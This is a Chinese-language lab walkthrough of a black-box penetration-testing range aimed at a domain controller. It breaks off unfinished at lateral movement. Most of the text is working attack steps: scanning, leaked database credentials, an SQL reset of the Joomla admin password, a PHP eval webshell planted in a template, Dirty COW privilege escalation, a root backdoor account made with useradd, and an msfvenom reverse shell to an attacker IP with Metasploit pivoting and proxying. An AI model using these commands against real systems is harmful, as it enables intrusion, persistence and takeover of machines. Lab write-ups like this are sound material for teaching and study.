环境搭建
这次的环境为黑盒测试,不提供账号密码。目标为拿下域控 flag。
全部虚拟机挂起状态
两台linux开启即可
网络搭建
新建一个网段
攻击机与Centos处于公网(桥接),其余机器与Centos处于同一内网
用Centos去ping其他内网机器查看是否网络畅通
Centos
还有一个net模式
其他
Ping查看连接是否通顺
启动配置
service network restart 重启网络服务(web-centos)
Ifconfig eth0
查看桥接后的网段
192.168.16.103
扫描IP 与 端口
D:\桌面\fscan-main\fscan-main\fscan.exe -h 192.168.16.0/24
扫描目录
a)dirsearch -u http://192.168.16.103 -x 403 // 指定扫描并排除403状态码
信息:administrator —> 登录数据后台 README.txt —> 开发文件
configuration.php~ —> 数据配置文件 robots.txt —> 目录索引
web.config.txt —> 配置文件
configuration.php 文件通常是与网站相关的配置文件,特别是在使用PHP语言开发的网站中。这个文件通常包含了网站的数据库连接信息、安全密钥、路径设置以及其他重要的配置信息。这个文件的安全性非常重要,因为其中可能包含对网站的敏感信息。在任何情况下,都应该确保这个文件不会被未经授权的访问者获取。
数据分析
a)访问 view-source:http://192.168.16.103/configuration.php~ 文件的源代码
数据库账号/密码:testuser / cvcvgjASD!@,并且含有 文件路径
漏洞利用
根据收集来的信息,突破口为登录数据库 修改后台密码 或者 添加后门用户去登录后台,再利用webshell来连接进行信息收集并提权。
我们可以利用 Navicat Premium 连接数据库,该工具为图形化页面方便操作。我们的目标为修改数据库 administrator 的密码。
注:Joomla 后台密码为:md5 加密;e10adc3949ba59abbe56e057f20f883e(123456)
路径:joomla -> 表 ->am2zu_users -> password -> 保存
update am2zu_users set `password`='e10adc3949ba59abbe56e057f20f883e' where id=891
外网渗透
数据后台
连接数据库是我们发现它是有Joomla的开源CMS来搭建的网站,我们登录后台之后有利用Joomla远程命令执行来连接webshell(蚁剑)。
木马注入
访问 http://192.168.16.103/administrator/ 登录后台,账号/密码:administrator / 123456
注入路径:extensions -> templates -> templates -> beez3 -> index.php
木马代码:eval($_POST[123]);?>
写入木马后保存
接着哥斯拉连接
配置参数:URL -> http://192.168.16.103/templates/beez3/index.php
密码:123
内网信息收集
用户信息
我们发现这里含有一个后门用户,并且外网服务器开启了22端口,可以尝试利用 ssh 来远程控制。
/tmp/mysql/test.txt // 临时文件夹下含有一个后门用户
账号/密码:wwwuser/wwwuser_123Aqx
利用22端口ssh登录连接
连接成功
我们成功登录但发现权限不足,查询内核版本来进行内核提权。
脏牛提权
"脏牛"(Dirty COW)是一个Linux系统中的漏洞,它允许攻击者通过提升特权来获取对系统的未经授权访问。脚本:dirty.c
适应范围:Linux内核 >= 2.6.22
信息
- uname -a
// 网络接口信息
查询网络信息,我们发现了 93 的IP地址就是 内网IP。
上传脏牛
脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权
EXP下载:https://github.com/FireFart/dirtycow
将代码上传到一个可以执行的文件夹内,可以尝试我的方法:
# Xshell连接后——>开启ftp服务——>脏牛传入tmp中——>xshell输入命令
xshell命令:到可执行文件cd /tmp
编译脏牛:gcc -pthread dirty.c -o dirty -lcrypt
rm -r passwd.bak
chmod +x dirty.c
chmod +x dirty
给编译文件设密码:./dirty 123456
id 显示用户的ID,以及所属群组的ID;uid=0,为root用户
给系统添加了一个管理员用户:用户名:firefart 密码:123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` admin -o -u 0 -g root -G root -s /bin/bash -d /home/mysqld
// 留个后门用户
fscan 内网信息收集
这边我们打进了外网服务器,这里我们利用 fscan 扫描工具来进行信息收集。
./fscan -h 192.168.93.0/24 // 全局扫描
总结一下
1. 100和120这两个为服务器的IP地址,因为他们开启了80、3306端口。
2. 10、20、30为域内IP地址,10 为 域控也是我们此行的目标,其余的就是域成员。
3. 域内IP地址均含有 445 端口,可以尝试利用 ms17-010(永恒之蓝)漏洞。
环境原因用靶场扫描
MSF上线
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.16.104 LPORT=1234 -f elf > shell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 1234
exploit
上线
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.93.0/24
run autoroute -p
挂起
background
smb内网探测
use auxiliary/scanner/smb/smb_version
options
set rhosts 192.168.93.0/24
exploit
设置代理
use auxiliary/server/socks_proxy
set VERSION 5
set SRVHOST 0.0.0.0(攻击机)
exploit
vim /etc/proxychains4.conf
横向渗透
未完成,代理老是失败,cao